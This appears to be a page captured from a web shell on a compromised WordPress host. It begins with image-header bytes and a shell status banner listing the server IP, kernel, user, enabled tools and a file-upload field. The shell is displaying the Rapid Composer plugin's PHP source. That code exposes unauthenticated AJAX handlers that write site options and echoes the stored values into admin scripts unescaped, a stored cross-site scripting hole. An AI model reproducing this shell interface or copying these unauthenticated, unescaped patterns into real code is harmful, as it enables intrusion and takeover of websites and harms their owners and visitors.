????JFIF??x?x????'
Server IP : 104.21.64.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/dchsreunion.com/wp-content/plugins/rapid_composer/ |
Upload File : |
<?php /** * Plugin Name: Rapid Composer * Description: Efficient visual content builder. * Version: 1.3.2 * Author: bitorbit * Author URI: http://codecanyon.net/user/bitorbit */ /** * Enqueue scripts and styles */ require_once( 'config.php' ); class BT_RC_Root { public static $elements = array(); public static $enqueue_style_map = array(); public static $enqueue_script_map = array(); } function bt_rapid_composer() { $screen = get_current_screen(); if ( $screen->base != 'post' ) { return; } wp_enqueue_style( 'rc_fa', plugins_url() . '/rapid_composer/css/font-awesome.min.css' ); wp_enqueue_style( 'rc', plugins_url() . '/rapid_composer/css/rapid_composer.min.css' ); wp_enqueue_script( 'rc_react_script', plugins_url() . '/rapid_composer/react.min.js' ); wp_enqueue_script( 'rc_script', plugins_url() . '/rapid_composer/script.min.js', array( 'jquery' ) ); wp_enqueue_script( 'rc_jsx_script', plugins_url() . '/rapid_composer/build/jsx.min.js', array( 'jquery' ) ); wp_enqueue_script( 'rc_autosize_script', plugins_url() . '/rapid_composer/autosize.min.js' ); wp_enqueue_script( 'wp-color-picker' ); wp_enqueue_style( 'wp-color-picker' ); } add_action( 'admin_enqueue_scripts', 'bt_rapid_composer' ); function bt_rapid_composer_fe() { wp_enqueue_style( 'rc_bootstrap', plugins_url() . '/rapid_composer/css/bootstrap.min.css' ); wp_enqueue_style( 'rc_fe', plugins_url() . '/rapid_composer/css/rapid_composer_fe.min.css' ); wp_enqueue_script( 'rc_tether', plugins_url() . '/rapid_composer/tether.min.js', array( 'jquery' ) ); wp_enqueue_script( 'rc_bootstrap', plugins_url() . '/rapid_composer/bootstrap.min.js', array( 'jquery' ) ); //wp_enqueue_script( 'rc_script_fe', plugins_url() . '/rapid_composer/script_fe.min.js', array( 'jquery' ) ); } if ( ! RC_COMPATIBILITY_MODE ) { add_action( 'wp_enqueue_scripts', 'bt_rapid_composer_fe', 20 ); } function bt_rapid_composer_fe_always() { foreach ( BT_RC_Root::$enqueue_style_map as $shortcode => $handle ) { wp_enqueue_style( $handle ); } foreach ( BT_RC_Root::$enqueue_script_map as $shortcode => $handle ) { wp_enqueue_style( $handle ); } } add_action( 'wp_enqueue_scripts', 'bt_rapid_composer_fe_always', 20 ); // 20 - after BT_RC_Basic_Element/register function bt_rc_activate() { update_option( 'bt_rc_settings', array( 'tag_as_name' => '0', 'toolbar_style' => 'icons', 'skin' => 'light' ) ); } register_activation_hook( __FILE__, 'bt_rc_activate' ); function bt_rc_deactivate() { delete_option( 'bt_rc_settings' ); } register_deactivation_hook( __FILE__, 'bt_rc_deactivate' ); function bt_rc_admin_init() { register_setting( 'bt_rc_settings', 'bt_rc_settings' ); } add_action( 'admin_init', 'bt_rc_admin_init' ); function rapid_composer_load_plugin_textdomain() { $domain = 'rapid_composer'; $locale = apply_filters( 'plugin_locale', get_locale(), $domain ); load_plugin_textdomain( $domain, false, dirname( plugin_basename( __FILE__ ) ) . '/languages' ); } add_action( 'init', 'rapid_composer_load_plugin_textdomain' ); /** * Save mapping */ function bt_rc_save_mapping() { $base = $_POST['base']; $map = $_POST['map']; $opt_arr = get_option( 'bt_rc_mapping_secondary' ); if ( ! is_array( $opt_arr ) ) { $opt_arr = array(); } if ( $map != '' ) { $opt_arr[ $base ] = $map; } else { unset( $opt_arr[ $base ] ); } update_option( 'bt_rc_mapping_secondary', $opt_arr ); echo 'ok'; die(); } function bt_rc_delete_mapping() { $base = $_POST['base']; $opt_arr = get_option( 'bt_rc_mapping_secondary' ); if ( ! is_array( $opt_arr ) ) { $opt_arr = array(); } unset( $opt_arr[ $base ] ); update_option( 'bt_rc_mapping_secondary', $opt_arr ); echo 'ok'; die(); } add_action( 'wp_ajax_bt_rc_save_mapping', 'bt_rc_save_mapping' ); add_action( 'wp_ajax_nopriv_bt_rc_save_mapping', 'bt_rc_save_mapping' ); add_action( 'wp_ajax_bt_rc_delete_mapping', 'bt_rc_delete_mapping' ); add_action( 'wp_ajax_nopriv_bt_rc_delete_mapping', 'bt_rc_delete_mapping' ); /** * Settings menu */ function bt_rc_menu() { add_options_page( __( 'Rapid Composer Settings', 'rapid_composer' ), __( 'Rapid Composer', 'rapid_composer' ), 'manage_options', 'bt_rc_settings', 'bt_rc_settings' ); } add_action( 'admin_menu', 'bt_rc_menu' ); /** * Settings page */ function bt_rc_settings() { $options = get_option( 'bt_rc_settings' ); $tag_as_name = $options['tag_as_name']; if ( ! isset( $options['toolbar_style'] ) ) { // upgrade from older version update_option( 'bt_rc_settings', array( 'toolbar_style' => 'icons' ) ); $toolbar_style = 'icons'; } else { $toolbar_style = $options['toolbar_style']; } if ( ! isset( $options['skin'] ) ) { // upgrade from older version update_option( 'bt_rc_settings', array( 'skin' => 'standard' ) ); $skin = 'standard'; } else { $skin = $options['skin']; } $post_types = get_post_types( array( 'public' => true, 'show_in_nav_menus' => true ) ); ?> <div class="wrap"> <h2><?php _e( 'Rapid Composer Settings', 'rapid_composer' ); ?></h2> <form method="post" action="options.php"> <?php settings_fields( 'bt_rc_settings' ); ?> <table class="form-table"> <tbody> <tr> <th scope="row"><?php _e( 'Show shortcode tag instead of mapped name', 'rapid_composer' ); ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Show shortcode tags instead of mapped names', 'rapid_composer' ); ?></span></legend> <p><label><input name="bt_rc_settings[tag_as_name]" type="radio" value="0" <?php echo $tag_as_name != '1' ? 'checked="checked"' : ''; ?>> <?php _e( 'No', 'rapid_composer' ); ?></label><br> <label><input name="bt_rc_settings[tag_as_name]" type="radio" value="1" <?php echo $tag_as_name == '1' ? 'checked="checked"' : ''; ?>> <?php _e( 'Yes', 'rapid_composer' ); ?></label></p> </fieldset></td> </tr> <tr> <th scope="row"><?php _e( 'Content elements toolbar style', 'rapid_composer' ); ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Content elements toolbar style', 'rapid_composer' ); ?></span></legend> <p><label><input name="bt_rc_settings[toolbar_style]" type="radio" value="icons" <?php echo $toolbar_style == 'icons' ? 'checked="checked"' : ''; ?>> <?php _e( 'Icons', 'rapid_composer' ); ?></label><br> <label><input name="bt_rc_settings[toolbar_style]" type="radio" value="shortcuts" <?php echo $toolbar_style != 'icons' ? 'checked="checked"' : ''; ?>> <?php _e( 'Keyboard shortcuts', 'rapid_composer' ); ?></label></p> </fieldset></td> </tr> <tr> <th scope="row"><?php _e( 'Post Types', 'rapid_composer' ); ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Post Types', 'rapid_composer' ); ?></span></legend> <p> <?php $n = 0; foreach ( $post_types as $pt ) { $n++; $checked = ''; if ( ! $options || ( ! array_key_exists( $pt, $options ) || ( array_key_exists( $pt, $options ) && $options[ $pt ] == '1' ) ) ) { $checked = ' ' . 'checked="checked"'; } echo '<input type="hidden" name="bt_rc_settings[' . $pt . ']" value="0">'; echo '<label><input name="bt_rc_settings[' . $pt . ']" type="checkbox" value="1"' . $checked . '> ' . $pt . '</label>'; if ( $n < count( $post_types ) ) echo '<br>'; } ?> </p> </fieldset></td> </tr> <tr> <th scope="row"><?php _e( 'Skin', 'rapid_composer' ); ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Skin', 'rapid_composer' ); ?></span></legend> <p><label><input name="bt_rc_settings[skin]" type="radio" value="standard" <?php echo $skin == 'standard' ? 'checked="checked"' : ''; ?>> <?php _e( 'Standard', 'rapid_composer' ); ?></label><br> <label><input name="bt_rc_settings[skin]" type="radio" value="standard_no_border" <?php echo $skin == 'standard_no_border' ? 'checked="checked"' : ''; ?>> <?php _e( 'Standard without border', 'rapid_composer' ); ?></label><br> <label><input name="bt_rc_settings[skin]" type="radio" value="light" <?php echo $skin == 'light' ? 'checked="checked"' : ''; ?>> <?php _e( 'Light', 'rapid_composer' ); ?></label></p> </fieldset></td> </tr> </tbody> </table> <p class="submit"><input type="submit" name="submit" id="submit" class="button button-primary" value="<?php _e( 'Save', 'rapid_composer' ); ?>"></p> </form> </div> <?php } /** * Settings */ function bt_rc_js_settings() { $screen = get_current_screen(); if ( $screen->base != 'post' ) { return; } $options = get_option( 'bt_rc_settings' ); $tag_as_name = $options['tag_as_name']; $toolbar_style = $options['toolbar_style']; if ( ! isset( $options['toolbar_style'] ) ) { // upgrade from older version $toolbar_style = 'icons'; } echo '<script>'; echo 'window.bt_rc_plugins_url = "' . plugins_url() . '";'; echo 'window.bt_rc_settings = [];'; echo 'window.bt_rc_settings.tag_as_name = "' . esc_js( $tag_as_name ) . '";'; echo 'window.bt_rc_settings.toolbar_style = "' . esc_js( $toolbar_style ) . '";'; echo 'window.BTAJAXURL = "' . esc_js( admin_url( 'admin-ajax.php' ) ) . '";'; echo 'window.bt_rc_rtl = ' . ( is_rtl() ? 'true' : 'false' ) . ';'; echo 'window.bt_rc_compatibility_mode = ' . ( RC_COMPATIBILITY_MODE ? 'true' : 'false' ) . ';'; global $shortcode_tags; $all_sc = $shortcode_tags; ksort( $all_sc ); echo 'window.bt_rc.all_sc = ' . bt_json_encode( array_keys( $all_sc ) ) . ';'; global $bt_rc_is_rc_content; if ( $bt_rc_is_rc_content === 'true' || $bt_rc_is_rc_content === 'false' ) { echo 'window.bt_rc.is_rc_content = ' . $bt_rc_is_rc_content . ';'; } echo '</script>'; } add_action( 'admin_footer', 'bt_rc_js_settings' ); /** * Get active post types. */ function bt_rc_get_active_pt() { $options = get_option( 'bt_rc_settings' ); $post_types = get_post_types( array( 'public' => true, 'show_in_nav_menus' => true ) ); $active_pt = array(); foreach ( $post_types as $pt ) { if ( ! $options || ( ! array_key_exists( $pt, $options ) || ( array_key_exists( $pt, $options ) && $options[ $pt ] == '1' ) ) ) { $active_pt[] = $pt; } } return $active_pt; } /** * Force visual editor. */ add_action( 'current_screen' , 'bt_rc_current_screen' ); function bt_rc_current_screen( $current_screen ) { $active_pt = bt_rc_get_active_pt(); if ( in_array( $current_screen->post_type, $active_pt ) ) { add_filter( 'user_can_richedit' , '__return_true', 50 ); } } /** * Translate */ function bt_rc_translate() { echo '<script>'; echo 'window.bt_rc_text = [];'; echo 'window.bt_rc_text.toggle = "' . __( 'Toggle', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.add = "' . __( 'Add', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.edit = "' . __( 'Edit', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.edit_content = "' . __( 'Edit Content', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.clone = "' . __( 'Clone', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.duplicate = "' . __( 'Duplicate', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.delete = "' . __( 'Delete', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.layout_error = "' . __( 'Layout error!', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.add_element = "' . __( 'Add Element', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.select_layout = "' . __( 'Select Layout', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.select = "' . __( 'Select', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.submit = "' . __( 'Submit', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.copy = "' . __( 'Copy', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.copy_plus = "' . __( 'Copy +', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.paste = "' . __( 'Paste', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.export = "' . __( 'Export', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.import = "' . __( 'Import', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.not_allowed = "' . __( 'Not allowed!', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.manage_cb = "' . __( 'Manage Clipboard', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.filter = "' . __( 'Filter...', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.sc_mapper = "' . __( 'Shortcode Mapper', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.insert_mapping = "' . __( 'Insert Mapping', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.save = "' . __( 'Save', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.switch_editor = "' . __( 'Switch Editor', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.switch_editor_confirm = "' . __( 'Are you sure you want to switch editor?', 'rapid_composer' ) . '";'; echo 'window.bt_rc_text.general = "' . __( 'General', 'rapid_composer' ) . '";'; echo '</script>'; } add_action( 'admin_footer', 'bt_rc_translate' ); /** * Map shortcodes */ global $bt_rc_map; $bt_rc_map = array(); function bt_rc_map_action() { $screen = get_current_screen(); if ( ! is_object( $screen ) || $screen->base != 'post' ) { return; } global $bt_rc_map; echo '<script>'; do_action( 'bt_rc_map_action' ); echo '</script>'; echo '<script>'; $opt_arr = get_option( 'bt_rc_mapping_secondary' ); if ( is_array( $opt_arr ) ) { foreach( $opt_arr as $k => $v ) { if ( shortcode_exists( $k ) ) { echo 'window.bt_rc_map["' . $k . '"] = ' . stripslashes( $v ) . ';'; $bt_rc_map[ $k ] = json_decode( stripslashes( $v ), true ); echo 'window.bt_rc_map_secondary["' . $k . '"] = true;'; } } } echo '</script>'; } add_action( 'admin_head', 'bt_rc_map_action' ); /** * Map shortcodes */ function bt_rc_map_js() { if ( is_admin() ) { // back end $screen = get_current_screen(); if ( ! is_object( $screen ) || $screen->base != 'post' ) { return; } } global $bt_rc_map; echo '<script>'; BT_RC_Root::$elements = apply_filters( 'bt_rc_elements', BT_RC_Root::$elements ); foreach( BT_RC_Root::$elements as $base => $params ) { $proxy = new BT_RC_Map_Proxy( $base, $params ); $proxy->js_map(); } echo '</script>'; echo '<script>'; $opt_arr = get_option( 'bt_rc_mapping_secondary' ); if ( is_array( $opt_arr ) ) { foreach( $opt_arr as $k => $v ) { if ( shortcode_exists( $k ) ) { echo 'window.bt_rc_map["' . $k . '"] = ' . stripslashes( $v ) . ';'; $bt_rc_map[ $k ] = json_decode( stripslashes( $v ), true ); echo 'window.bt_rc_map_secondary["' . $k . '"] = true;'; } } } echo '</script>'; } add_action( 'admin_head', 'bt_rc_map_js' ); function bt_rc_map( $base, $params, $priority = 10 ) { $i = 0; if ( isset( $params['params'] ) ) { foreach( $params['params'] as $param ) { if ( ! isset( $param['weight'] ) ) { $params['params'][ $i ]['weight'] = $i; } $i++; } } BT_RC_Root::$elements[ $base ] = $params; } /** * Modify map */ function bt_rc_map_modify( $base, $params ) { $i = 0; if ( isset( $params['params'] ) ) { foreach( $params['params'] as $param ) { if ( ! isset( $param['weight'] ) ) { $params['params'][ $i ]['weight'] = $i; } $i++; } } foreach( $params as $key => $value ) { BT_RC_Root::$elements[ $base ][ $key ] = $value; } } /** * Add element param(s) */ function bt_rc_add_params( $base, $params ) { $proxy = new BT_RC_Add_Params_Proxy( $base, $params ); add_filter( 'bt_rc_elements', array( $proxy, 'add_params' ) ); } /** * Remove element param(s) */ function bt_rc_remove_params( $base, $params ) { $proxy = new BT_RC_Remove_Params_Proxy( $base, $params ); add_filter( 'bt_rc_elements', array( $proxy, 'remove_params' ) ); } global $bt_rc_root_base; $bt_rc_root_base = array(); class BT_RC_Map_Proxy { public $base; public $params; function __construct( $base, $params ) { $this->base = $base; $params['base'] = $base; $this->params = $params; global $bt_rc_root_base; if ( isset( $params['root'] ) && $params['root'] === true && isset( $params['base'] ) ) { $bt_rc_root_base[] = $params['base']; } } public function js_map() { global $bt_rc_map; if ( shortcode_exists( $this->base ) ) { if ( isset( $this->params['admin_enqueue_css'] ) ) { foreach ( $this->params['admin_enqueue_css'] as $item ) { wp_enqueue_style( 'bt_rc_admin_' . uniqid(), $item ); } } echo 'window.bt_rc_map["' . $this->base . '"] = window.bt_rc_map_primary.' . $this->base . ' = ' . bt_json_encode( $this->params ) . ';'; $bt_rc_map[ $this->base ] = $this->params; } } } class BT_RC_Add_Params_Proxy { public $base; public $params; function __construct( $base, $params ) { $this->base = $base; $this->params = $params; } public function add_params( $elements ) { foreach( $this->params as $param ) { $last = end( $elements[ $this->base ]['params'] ); if ( ! is_array( $param ) ) { if ( ! isset( $this->params['weight'] ) ) { if ( isset( $last['weight'] ) ) { $this->params['weight'] = $last['weight'] + 1; } else { $this->params['weight'] = 0; } } $elements[ $this->base ]['params'][] = $this->params; break; } else { if ( ! isset( $param['weight'] ) ) { if ( isset( $last['weight'] ) ) { $param['weight'] = $last['weight'] + 1; } else { $param['weight'] = 0; } } $elements[ $this->base ]['params'][] = $param; } } usort( $elements[ $this->base ]['params'], array( $this, 'sort_by_weight' ) ); return $elements; } private function sort_by_weight( $a, $b ) { return $a['weight'] > $b['weight']; } } class BT_RC_Remove_Params_Proxy { public $base; public $params; function __construct( $base, $params ) { $this->base = $base; $this->params = $params; } public function remove_params( $elements ) { if ( is_array( $this->params ) ) { foreach( $this->params as $param ) { $i = 0; foreach( $elements[ $this->base ]['params'] as $element_param ) { if ( $element_param['param_name'] == $param ) { unset( $elements[ $this->base ]['params'][ $i ] ); } $i++; } $elements[ $this->base ]['params'] = array_values( $elements[ $this->base ]['params'] ); } } else { $i = 0; foreach( $elements[ $this->base ]['params'] as $element_param ) { if ( $element_param['param_name'] == $this->params ) { unset( $elements[ $this->base ]['params'][ $i ] ); } $i++; } $elements[ $this->base ]['params'] = array_values( $elements[ $this->base ]['params'] ); } return $elements; } } /** * Remove wpautop */ function bt_rc_wpautop( $content ) { foreach( BT_RC_Root::$elements as $base => $params ) { $proxy = new BT_RC_Map_Proxy( $base, $params ); } global $bt_rc_root_base; $rc_content = false; foreach ( $bt_rc_root_base as $item ) { if ( strpos( trim( $content ), '[' . $item ) === 0 ) { $rc_content = true; } } if ( $rc_content ) { remove_filter( 'the_content', 'wpautop' ); } $content = str_ireplace( array( '``', '`{`', '`}`' ), array( '"', '[', ']' ), $content ); return $content; } add_filter( 'the_content', 'bt_rc_wpautop', 1 ); function bt_wrap_content( $content ) { return '<div class="bt_rc_container">' . $content . '</div>'; } add_filter( 'the_content', 'bt_wrap_content', 20 ); /** * Adds a box to the main column on the Post and Page edit screens. */ function rapid_composer_add_meta_box() { $options = get_option( 'bt_rc_settings' ); $post_types = get_post_types( array( 'public' => true, 'show_in_nav_menus' => true ) ); $active_pt = array(); foreach ( $post_types as $pt ) { if ( ! $options || ( ! array_key_exists( $pt, $options ) || ( array_key_exists( $pt, $options ) && $options[ $pt ] == '1' ) ) ) { $active_pt[] = $pt; } } $screens = $active_pt; foreach ( $screens as $screen ) { add_meta_box( 'rapid_composer_sectionid', __( 'Rapid Composer', 'rapid_composer' ), 'rapid_composer_meta_box_callback', $screen, 'normal', 'high' ); } } add_action( 'add_meta_boxes', 'rapid_composer_add_meta_box' ); /** * Initial data. */ class BT_RC_Data_Proxy { public $data; function __construct( $data ) { $this->data = $data; } public function js() { echo '<script> var bt_rc_data = { title: "_root", base: "_root", key: "' . uniqid( 'bt_rc_' ) . '", children: ' . $this->data . ' } </script>'; } } function bt_rc_force_tinymce() { return 'tinymce'; } add_filter( 'wp_default_editor', 'bt_rc_force_tinymce' ); /** * Prints the box content. * * @param WP_Post $post The object for the current post/page. */ function rapid_composer_meta_box_callback( $post ) { // Add an nonce field so we can check for it later. wp_nonce_field( 'rapid_composer_meta_box', 'rapid_composer_meta_box_nonce' ); /* * Use get_post_meta() to retrieve an existing value * from the database and use the value for the form. */ $value = get_post_meta( $post->ID, '_my_meta_value_key', true ); $content = $post->post_content; global $bt_rc_array; $bt_rc_array = array(); bt_rc_do_shortcode( $content ); $json_content = bt_json_encode( $bt_rc_array ); global $bt_rc_is_rc_content; if ( $json_content == '[]' ) { $bt_rc_is_rc_content = 'false'; } else { $bt_rc_is_rc_content = 'true'; } $options = get_option( 'bt_rc_settings' ); if ( ! isset( $options['skin'] ) ) { // upgrade from older version $skin = 'standard'; } else { $skin = $options['skin']; } echo '<div id="bt_rc" class="bt_rc_skin_' . $skin . '"></div><div id="bt_rc_add_root"><i class="fa fa-plus-square"></i></div>'; echo '<div id="bt_rc_dialog">'; echo '<div class="bt_rc_dialog_header"><div class="bt_rc_dialog_close"><i class="fa fa-close"></i></div><span></span></div>'; echo '<div class="bt_rc_dialog_header_tools"></div>'; echo '<div class="bt_rc_dialog_content">'; echo '</div>'; echo '<div class="bt_rc_dialog_tinymce">'; echo '<div class="bt_rc_dialog_tinymce_editor_container">'; wp_editor( '' , 'bt_rc_tinymce', array( 'textarea_rows' => 12 ) ); echo '</div>'; echo '</div>'; echo '</div>'; echo '<div id="bt_rc_main_toolbar">'; echo '<i class="fa fa-undo" title="' . __( 'Undo', 'rapid_composer' ) . '"></i>'; echo '<i class="fa fa-repeat" title="' . __( 'Redo', 'rapid_composer' ) . '"></i>'; echo '<span class="bt_rc_separator">|</span>'; echo '<i class="fa fa-paste" title="' . __( 'Paste', 'rapid_composer' ) . '"></i>'; echo '<span class="bt_rc_cb_items"></span>'; echo '<i class="fa fa-exchange" title="' . __( 'Clipboard Manager', 'rapid_composer' ) . '"></i>'; echo '<span class="bt_rc_separator">|</span>'; echo '<span class="bt_rc_sc_mapper" title="' . __( 'Shortcode Mapper', 'rapid_composer' ) . '">[...]</span>'; echo '<span class="bt_rc_separator">|</span>'; echo '<i class="fa fa-binoculars" title="' . __( 'Preview', 'rapid_composer' ) . '"></i>'; echo '<i class="fa fa-upload" title="' . __( 'Save', 'rapid_composer' ) . '"></i>'; echo '</div>'; add_action( 'admin_footer', array( new BT_RC_Data_Proxy( $json_content ), 'js' ) ); } function bt_rc_do_shortcode( $content ) { global $shortcode_tags; if ( ! ( ( empty( $shortcode_tags ) || ! is_array( $shortcode_tags ) ) ) ) { $pattern = get_shortcode_regex(); global $bt_rc_array; $callback = new BT_RC_Callback( $bt_rc_array ); $preg_cb = preg_replace_callback( "/$pattern/s", array( $callback, 'bt_rc_do_shortcode_tag' ), $content ); } } class BT_RC_Callback { private $bt_rc_array; function __construct( &$bt_rc_array ) { $this->bt_rc_array = &$bt_rc_array; } function bt_rc_do_shortcode_tag( $m ) { global $shortcode_tags; global $bt_rc_map; // allow [[foo]] syntax for escaping a tag if ( $m[1] == '[' && $m[6] == ']' ) { return $m[0]; } $tag = $m[2]; $attr = shortcode_parse_atts( $m[3] ); if ( is_array( $attr ) ) { $this->bt_rc_array[] = array( 'title' => $tag, 'base' => $tag, 'key' => str_replace( '.', '', uniqid( 'bt_rc_', true ) ), 'attr' => bt_json_encode( $attr ), 'children' => array() ); } else { $this->bt_rc_array[] = array( 'title' => $tag, 'base' => $tag, 'key' => str_replace( '.', '', uniqid( 'bt_rc_', true ) ), 'children' => array() ); } if ( isset( $m[5] ) && $m[5] != '' ) { // enclosing tag - extra parameter $pattern = get_shortcode_regex(); if ( isset( $bt_rc_map[$m[2]]['accept']['_content'] ) && $bt_rc_map[ $m[2] ]['accept']['_content'] ) { $r = $m[5]; } else { $callback = new BT_RC_Callback( $this->bt_rc_array[ count( $this->bt_rc_array ) - 1 ]['children'] ); $r = preg_replace_callback( "/$pattern/s", array( $callback, 'bt_rc_do_shortcode_tag' ), $m[5] ); $r = trim( $r ); } if ( $r != '' ) { $this->bt_rc_array[ count( $this->bt_rc_array ) - 1 ]['children'][0] = array( 'title' => '_content', 'base' => '_content', 'content' => $r, 'children' => array() ); } } } } /** * When the post is saved, saves our custom data. * * @param int $post_id The ID of the post being saved. */ function rapid_composer_save_meta_box_data( $post_id ) { /* * We need to verify this came from our screen and with proper authorization, * because the save_post action can be triggered at other times. */ // Check if our nonce is set. if ( ! isset( $_POST['rapid_composer_meta_box_nonce'] ) ) { return; } // Verify that the nonce is valid. if ( ! wp_verify_nonce( $_POST['rapid_composer_meta_box_nonce'], 'rapid_composer_meta_box' ) ) { return; } // If this is an autosave, our form has not been submitted, so we don't want to do anything. if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) { return; } // Check the user's permissions. if ( isset( $_POST['post_type'] ) && 'page' == $_POST['post_type'] ) { if ( ! current_user_can( 'edit_page', $post_id ) ) { return; } } else { if ( ! current_user_can( 'edit_post', $post_id ) ) { return; } } /* OK, it's safe for us to save the data now. */ // Make sure that it is set. if ( ! isset( $_POST['rapid_composer_new_field'] ) ) { return; } // Sanitize user input. $my_data = sanitize_text_field( $_POST['rapid_composer_new_field'] ); // Update the meta field in the database. update_post_meta( $post_id, '_my_meta_value_key', $my_data ); } add_action( 'save_post', 'rapid_composer_save_meta_box_data' ); require_once 'JSON.php'; function bt_json_encode( $arg ) { global $services_json; if ( ! isset( $services_json ) ) { $services_json = new BT_Services_JSON(); } return $services_json->encode( $arg ); } function bt_json_decode( $arg ) { global $services_json; if ( ! isset( $services_json ) ) { $services_json = new BT_Services_JSON(); } return $services_json->decode( $arg ); }